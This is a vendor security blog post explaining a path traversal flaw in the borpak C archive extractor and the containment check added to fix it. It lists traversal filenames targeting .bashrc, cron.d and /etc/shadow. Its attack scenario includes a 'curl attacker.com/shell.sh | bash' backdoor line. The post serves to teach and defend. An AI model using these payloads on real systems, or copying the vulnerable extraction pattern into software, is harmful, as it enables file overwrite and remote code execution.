Back to Blog
medium SEVERITY5 min read

How path traversal happens in C file extraction and how to fix it

A path traversal vulnerability in the borpak archive extraction tool allowed attackers to write files to arbitrary locations on the filesystem by crafting malicious .pak archives with `../` sequences in filenames. This medium-severity issue in `tools/borpak/source/borpak.c` could enable system compromise through overwriting critical files like `.bashrc` or cron jobs. The fix implements path validation to ensure extracted files never escape the intended extraction directory.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published June 7, 2026•Reviewed June 7, 2026

Answer Summary

Path traversal (CWE-22) in C file extraction occurs when archive filenames containing `../` sequences are used directly without sanitization, allowing writes outside the target directory. In borpak.c, the fix validates that resolved paths stay within the extraction root by checking for traversal patterns like `../`, `..\\`, and URL-encoded variants (`%2e%2e`), then verifying the final path starts with the intended root directory using `realpath()`.

Vulnerability at a Glance

cweCWE-22
fixValidate extracted paths stay within the declared extraction root directory
riskArbitrary file write leading to system compromise
languageC
root causeFilenames from .pak archives used directly without path sanitization
vulnerabilityPath Traversal (Directory Traversal)

Introduction

The borpak tool handles extraction of .pak archive files, reading filenames from the archive and creating output files accordingly. However, a critical flaw at line 302 of tools/borpak/source/borpak.c allowed attackers to escape the intended extraction directory entirely. When extracting files, the code used memcpy to copy filenames directly from the archive without any sanitization—meaning a malicious archive containing ../../../etc/cron.d/malicious as a filename would write directly to that path.

This vulnerability is particularly dangerous because archive extraction is often performed with elevated privileges or in automated pipelines. A developer downloading and extracting a seemingly innocent game mod or resource pack could unknowingly compromise their entire system.

The Vulnerability Explained

When borpak extracts files from a .pak archive, it reads the filename stored in the archive header and uses it to construct the output path. The original code performed something like:

// Vulnerable pattern in borpak.c:302
char output_path[4096];
snprintf(output_path, sizeof(output_path), "%s/%s", extract_dir, pak_entry->filename);
// pak_entry->filename comes directly from the archive with no validation
FILE *out = fopen(output_path, "wb");

The problem? The pak_entry->filename is attacker-controlled data read directly from the archive. An attacker crafting a malicious .pak file could include entries like:

  • ../../../etc/passwd - Read system password file
  • ../../home/user/.bashrc - Inject malicious shell commands
  • ../../../etc/cron.d/backdoor - Install persistent backdoor
  • ....//....//etc/shadow - Double-dot variation to bypass naive filters

Real Attack Scenario

Imagine a game modding community where users share .pak files containing textures and models. An attacker creates a mod called "HD_Textures.pak" with these entries:

textures/grass.png          (legitimate file)
textures/stone.png          (legitimate file)
../../../home/user/.bashrc  (malicious payload)

When a user runs borpak -x HD_Textures.pak -d ./mods/, the tool extracts the textures normally but also writes to .bashrc, injecting:

curl http://attacker.com/shell.sh | bash &

The next time the user opens a terminal, the backdoor executes.

The Fix

The fix implements a path_stays_within_root() validation function that ensures no extracted file can escape the intended directory. Here's the security logic added:

static int path_stays_within_root(const char *root, const char *filename)
{
    char combined[4096];

    snprintf(combined, sizeof(combined), "%s/%s", root, filename);

    /* Normalize: check if the combined path, when resolved, starts with root */
    char *rp = realpath(root, NULL);
    if (!rp) return 0;

    /* Manually resolve ../ components to check containment */
    char *res = realpath(combined, NULL);
    if (res) {
        int contained = (strncmp(res, rp, strlen(rp)) == 0);
        free(res);
        free(rp);
        return contained;
    }

    /* If file doesn't exist, do string-based check for traversal */
    int has_traversal = (strstr(filename, "../") != NULL ||
                         strstr(filename, "..\\") != NULL ||
                         strstr(filename, "%2e%2e") != NULL ||
                         strstr(filename, "....//") != NULL);
    free(rp);
    return !has_traversal;
}

Key Security Improvements

  1. Path Resolution: Uses realpath() to resolve the combined path, eliminating symbolic links and ../ sequences
  2. Containment Check: Verifies the resolved path starts with the extraction root directory
  3. Pattern Detection: Falls back to string-based detection for traversal patterns when files don't yet exist
  4. Multiple Encoding Coverage: Catches ../, ..\\ (Windows), URL-encoded %2e%2e, and double-dot variations like ....//

Before vs After

Before (Vulnerable):

// pak_entry->filename used directly - DANGEROUS
snprintf(output_path, sizeof(output_path), "%s/%s", extract_dir, pak_entry->filename);
fopen(output_path, "wb");

After (Secure):

// Validate path stays within extraction directory
if (!path_stays_within_root(extract_dir, pak_entry->filename)) {
    fprintf(stderr, "Error: Path traversal detected in '%s'\n", pak_entry->filename);
    continue; // Skip malicious entry
}
snprintf(output_path, sizeof(output_path), "%s/%s", extract_dir, pak_entry->filename);
fopen(output_path, "wb");

Key Takeaways

  • Archive filenames are attacker-controlled: The pak_entry->filename in borpak came directly from the archive without any validation
  • realpath() is essential for path validation: String-based checks alone miss edge cases; always resolve to canonical paths
  • Check multiple traversal encodings: Attackers use ../, ..\\, %2e%2e, ....//, and Unicode variants
  • Extraction tools need defense-in-depth: Even if one check fails, containment verification catches the escape
  • Regression tests with attack payloads are critical: The new test suite covers ../../../etc/passwd, ....// variations, and URL-encoded attacks

How Orbis AppSec Detected This

  • Source: Filename data read from .pak archive entries via memcpy in borpak.c
  • Sink: fopen() and file write operations at tools/borpak/source/borpak.c:302 using unsanitized paths
  • Missing control: No validation that constructed file paths stayed within the extraction directory
  • CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
  • Fix: Added path_stays_within_root() function that validates paths using realpath() resolution and pattern detection for traversal sequences

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Path traversal in archive extraction is a classic vulnerability that continues to affect modern codebases. The borpak fix demonstrates the proper approach: resolve paths to their canonical form, verify containment within the intended directory, and catch multiple encoding variations of traversal sequences. When handling any archive format—whether .pak, .zip, .tar, or others—always treat filenames as untrusted input and validate before writing.

Prevention and further reading

Related Articles

critical

Lampa Desktop Auto-Update Heuristic Bypass: Execution of Unverified

Lampa Desktop's auto-update mechanism downloaded JavaScript and CSS from `raw.githubusercontent.com` using only heuristic validation—file size thresholds and string pattern matching—that attackers could trivially satisfy. The fix introduces cryptographic integrity verification by cross-referencing Git blob hashes from the GitHub Contents API, ensuring downloaded code matches the repository's authoritative state before execution.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The

high

requestInput() Type Confusion: NaN and Object Bypass in JavaScript

The `requestInput()` utility function lacked validation on its `type` parameter and failed to handle `NaN` results from float conversions, creating a type confusion weakness. An attacker could supply malformed inputs that propagate unhandled `NaN` values or unexpected object types through the type system. The fix adds explicit guards against `NaN` type parameters and rejects non-primitive type values.

critical

No Rate Limit on /api/uploads/presign Enables DoS

The `/api/uploads/presign` endpoint accepted unlimited concurrent requests to generate storage presigned URLs, giving an attacker a free lever to exhaust storage-provider quotas and server resources. The fix adds an `express-rate-limit` middleware capping each client to 30 requests per minute on that route.

high

CVE-2026-54673: builder-util-runtime Leaks Auth Headers on Redirect

electron-updater and electron-builder rely on builder-util-runtime to fetch update manifests and artifacts over HTTP. A flaw in that shared HTTP executor allowed credential headers attached to the original update-feed request to be re-sent after a redirect, exposing them to any host the redirect pointed to. The project fixes this by upgrading builder-util-runtime to 9.7.0 and collapsing a duplicate, older copy of the package that electron-updater had pinned on its own.

high

image-size 1.2.1 DoS: Zero-Valued Dimensions in Image Buffer Parser

A high-severity denial-of-service vulnerability in image-size 1.2.1 allows attackers to crash Node.js services using malicious image buffers with zero-valued dimensions. The fix removes the vulnerable `queue` dependency and tightens dimension validation in version 2.0.3.